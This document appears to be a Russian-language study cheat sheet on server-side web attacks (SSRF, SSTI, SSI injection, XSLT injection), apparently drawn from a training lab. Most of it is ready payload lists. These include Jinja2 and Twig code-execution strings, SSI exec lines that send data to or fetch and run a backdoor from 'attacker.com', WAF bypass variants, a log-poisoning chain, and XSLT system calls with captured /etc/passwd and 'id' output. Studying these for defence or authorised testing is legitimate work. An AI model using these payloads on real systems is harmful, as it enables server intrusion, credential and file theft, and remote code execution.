

1. Теория по Server-Side-Attacks

Здесь мы рассмотрим следующие штуки:

- SSRF: Server-Side Request Forgery
- SSTI: Server-Side Template Injection
- SSI Injection: Server-Side Includes Injection
- XSLT Injection: Extensible Stylesheet Language Transformations Server-Side Injection

1.1 SSRF

Если приложение ссылается на какой-то ресурс и можно посредством запроса поменять ссылку на ресурс, то это SSRF-уязвимость.

1.1.1 Blind SSRF

Крч, это тот случай когда сервер немного прячет уязвимость:

Request				Response			
Pretty	Raw	Hex		Pretty	Raw	Hex	Render
1	POST /index.php HTTP/1.1			1	HTTP/1.1 200 OK		
2	Host: 172.17.0.2			2	Date: Mon, 06 May 2024 09:23:17 GMT		
3	Content-Length: 56			3	Server: Apache/2.4.59 (Debian)		
4	Content-Type: application/x-www-form-urlencoded			4	Content-Length: 52		
5				5	Content-Type: text/html; charset=UTF-8		
6	dateserver=http://127.0.0.1:80/index.php&date=2024-01-01			6			
				7	Date is unavailable. Please choose a different date!		

Request				Response			
Pretty	Raw	Hex		Pretty	Raw	Hex	Render
1	POST /index.php HTTP/1.1			1	HTTP/1.1 200 OK		
2	Host: 172.17.0.2			2	Date: Mon, 06 May 2024 09:25:01 GMT		
3	Content-Length: 47			3	Server: Apache/2.4.59 (Debian)		
4	Content-Type: application/x-www-form-urlencoded			4	Content-Length: 21		
5				5	Content-Type: text/html; charset=UTF-8		
6	dateserver=http://127.0.0.1:80/&date=2024-01-01			6			
				7	Something went wrong!		

1.1.2 Payloads

Обычные:

```
http://127.0.0.1/
http://localhost/
http://0.0.0.0/
http://[::1]/
http://127.0.0.1:80
http://127.0.0.1:443
http://127.0.0.1:8080
http://localhost:8080
```

IPv4:

```
http://127.0.0.1
http://0177.0.0.1          (восьмеричная запись)
http://0x7F.0.0.1         (шестнадцатеричная)
http://2130706433         (десятичное представление 127.0.0.1)
http://0x7F000001         (шестнадцатеричное)
http://127.1              (сокращённая запись)
http://127.0.1            (тоже валидно)
```

IPv6:

```
http://[::1]
http://[::ffff:127.0.0.1]
http://[0:0:0:0:0:0:0:1]
http://[::1]:80
```

1.2 SSTI

В общем для более удобной работы веб-приложений у нас есть template-engine

пример:

```
{% for name in names %}  
Hello {{ name }}!  
{% endfor %}
```

Но если пользовательский ввод поддается таким шаблонам, то имеем дело с SSTI:

1.2.1 Identifying the Template Engine



1.2.2 Payloads

1.2.2.1 Jinja2: Payloads

```
{{ config.items() }}  
{{ self.__init__.__globals__.__builtins__ }}
```

Local File Inclusion (LFI)

```
{{ self.__init__.__globals__.__builtins__.open("/etc/passwd").read() }}
```

Remote Code Execution (RCE)

```
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
```

1.2.2.2 Twig: Payloads

```
{{ _self }}
```

Local File Inclusion (LFI)

```
{{ "/etc/passwd"|file_excerpt(1,-1) }}
```

Remote Code Execution (RCE)

```
{{ ['id'] | filter('system') }}
```

1.3 SSI Injection

SSI – это технология, которая позволяет веб-приложениям создавать динамический контент.

1.3.1 SSI Directives

- **name**: the directive's name
- **parameter name**: one or more parameters
- **value**: one or more parameter values

```
<!--#name param1="value1" param2="value" -->
```

printenv

```
<!--#printenv -->
```

config

```
<!--#config errmsg="Error!" -->
```

echo

Поддерживает следующие переменные:

- **DOCUMENT_NAME**: the current file's name
- **DOCUMENT_URI**: the current file's URI
- **LAST_MODIFIED**: timestamp of the last modification of the current file
- **DATE_LOCAL**: local server time

```
<!--#echo var="DOCUMENT_NAME" var="DATE_LOCAL" -->
```

exec

Поддерживает параметр **cmd**.

```
<!--#exec cmd="whoami" -->
```

include

Поддерживает параметр **virtual**. Позволяет подключать файлы в web-root-dir

```
<!--#include virtual="index.html" -->
```

1.3.2 Payloads

База

```
<!--#echo var="DATE_LOCAL" -->
<!--#echo var="REMOTE_ADDR" -->
<!--#echo var="HTTP_USER_AGENT" -->
<!--#printenv -->
```

Local File Inclusion (LFI)

```
<!--#include file="/etc/passwd" -->
<!--#include file="/etc/shadow" -->
<!--#include file="/etc/hosts" -->
<!--#include file="/proc/self/environ" -->
<!--#include file="/var/www/html/config.php" -->
<!--#include file="../../../etc/passwd" -->
<!--#include virtual="/etc/passwd" -->
<!--#include virtual="/proc/self/cmdline" -->

<!--#include file="C:\Windows\win.ini" -->
<!--#include file="C:\boot.ini" -->
<!--#include file="..\..\..\Windows\System32\drivers\etc\hosts" -->
```

Remote Code Execution (RCE)

Через exec:

```
<!--#exec cmd="id" -->
<!--#exec cmd="whoami" -->
<!--#exec cmd="ls -la" -->
<!--#exec cmd="cat /etc/passwd" -->
<!--#exec cmd="curl http://attacker.com/$(whoami)" -->
<!--#exec cmd="wget http://attacker.com/backdoor.sh && bash backdoor.sh" -->

<!--#exec cmd="dir C:\" -->
<!--#exec cmd="ipconfig" -->
<!--#exec cmd="whoami" -->

<!--#exec cmd="curl http://169.254.169.254/latest/meta-data/" -->
<!--#exec cmd="wget -O- http://127.0.0.1:8080/admin" -->
<!--#exec cmd="nc -zv 192.168.1.1 22" -->
```

Через include:

```
<!--#include virtual="/cgi-bin/test.cgi?cmd=id" -->
<!--#include virtual="/bin/sh?cmd=id" -->

<!--#include virtual="http://127.0.0.1/admin" -->
<!--#include virtual="http://localhost:8080/internal" -->
<!--#include virtual="http://169.254.169.254/latest/meta-data/" -->
<!--#include virtual="http://192.168.1.1/config" -->
<!--#include virtual="http://internal-service:5000/status" -->

<!--#include virtual="http://127.0.0.1.nip.io/admin" -->
<!--#include virtual="http://localhost.sslip.io/internal" -->
```

Обход WAF

```
<!--#echo var="DATE_LOCAL" -->
<!-- #echo var="DATE_LOCAL" -->
<!--#echo var="DATE_LOCAL" -->
```

```

<!--#echo var="DATE_LOCAL" -->

<!--#echo var="REMOTE_ADDR" -->
<!--#exec cmd="&#x69;&#x64;" -->

<!--#set var="cmd" value="id" -->
<!--#exec cmd="{cmd}" -->

<!--#set var="ip" value="127.0.0.1" -->
<!--#include virtual="http://{ip}/admin" -->

<!--#echo var="DATE_LOCAL" --> <!-- обход пробелами -->
<!--#exec cmd="id" -->
<!--#include file="/etc/passwd" -->

```

Для веб-серверов

Apache

```

<!--#include virtual="/etc/passwd" -->
<!--#exec cmd="ls" -->
<!--#echo var="DOCUMENT_ROOT" -->

```

Nginx

```

<!--#include virtual="/etc/passwd" -->
<!--#echo var="REMOTE_ADDR" -->
<!--#set var="test" value="hello" -->

```

IIS

```

<!--#include file="C:\Windows\win.ini" -->
<!--#exec cmd="cmd /c dir" -->

```

LFI + SSI = RCE

SSI:

User-Agent: <!--#exec cmd="id" -->

LFE:

/var/log/apache2/access.log:

GET /index.php?page=../../../../var/log/apache2/access.log

1.4 XSLT

```
Version: <xsl:value-of select="system-property('xsl:version')" />
<br/>
Vendor: <xsl:value-of select="system-property('xsl:vendor')" />
<br/>
Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" />
<br/>
Product Name: <xsl:value-of select="system-property('xsl:product-name')" />
<br/>
Product Version: <xsl:value-of select="system-property('xsl:product-version')" />
```

Hi Version: 1.0

Vendor: libxslt

Vendor URL: <http://xmlsoft.org/XSLT/>

Product Name:

Product Version: , here are your favorite Academy modules:

1	Tier 0: Learning Process (by Cry0l1t3)
2	Tier 0: Intro to Academy (by Haris Pylarinos)
3	Tier 1: Network Enumeration with Nmap (by Cry0l1t3)
4	Tier 1: Introduction to Python 3 (by Fugl)
5	Tier 2: Hacking WordPress (by mrb3n)
6	Tier 2: Cracking Passwords with Hashcat (by mrb3n)
7	Tier 3: Kerberos Attacks (by pixis)
8	Tier 3: Active Directory Trust Attacks (by Sentinal)
9	Tier 4: Secure Coding 101: JavaScript (by 21y4d)
10	Tier 4: Active Directory PowerView (by mrb3n)

1.4.1 Payloads

Local File Inclusion (LFI)

```
<xsl:value-of select="unparsed-text('/etc/passwd', 'utf-8')" />
```

Также если XSLT либа сконфигурирована поддерживать PHP можем читать так:

```
<xsl:value-of select="php:function('file_get_contents','/etc/passwd')" />
```

```
Hi root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List
Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534:/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin mysql:x:100:101:MySQL
Server,,:/nonexistent:/bin/false , here are your favorite Academy modules:
```

1	Tier 0: Learning Process (by Cry0l1t3)
2	Tier 0: Intro to Academy (by Haris Pylarinos)
3	Tier 1: Network Enumeration with Nmap (by Cry0l1t3)
4	Tier 1: Introduction to Python 3 (by Fugl)
5	Tier 2: Hacking WordPress (by mrb3n)
6	Tier 2: Cracking Passwords with Hashcat (by mrb3n)
7	Tier 3: Kerberos Attacks (by pixis)
8	Tier 3: Active Directory Trust Attacks (by Sentinal)
9	Tier 4: Secure Coding 101: JavaScript (by 21y4d)
10	Tier 4: Active Directory PowerView (by mrb3n)

Remote Code Execution (RCE)

```
<xsl:value-of select="php:function('system','id')" />
```

Hi uid=33(www-data) gid=33(www-data) groups=33(www-data), here are your favorite Academy modules:

1	Tier 0: Learning Process (by Cry0l1t3)
2	Tier 0: Intro to Academy (by Haris Pylarinos)
3	Tier 1: Network Enumeration with Nmap (by Cry0l1t3)
4	Tier 1: Introduction to Python 3 (by Fugl)
5	Tier 2: Hacking WordPress (by mrb3n)
6	Tier 2: Cracking Passwords with Hashcat (by mrb3n)
7	Tier 3: Kerberos Attacks (by pixis)
8	Tier 3: Active Directory Trust Attacks (by Sentinal)
9	Tier 4: Secure Coding 101: JavaScript (by 21y4d)
10	Tier 4: Active Directory PowerView (by mrb3n)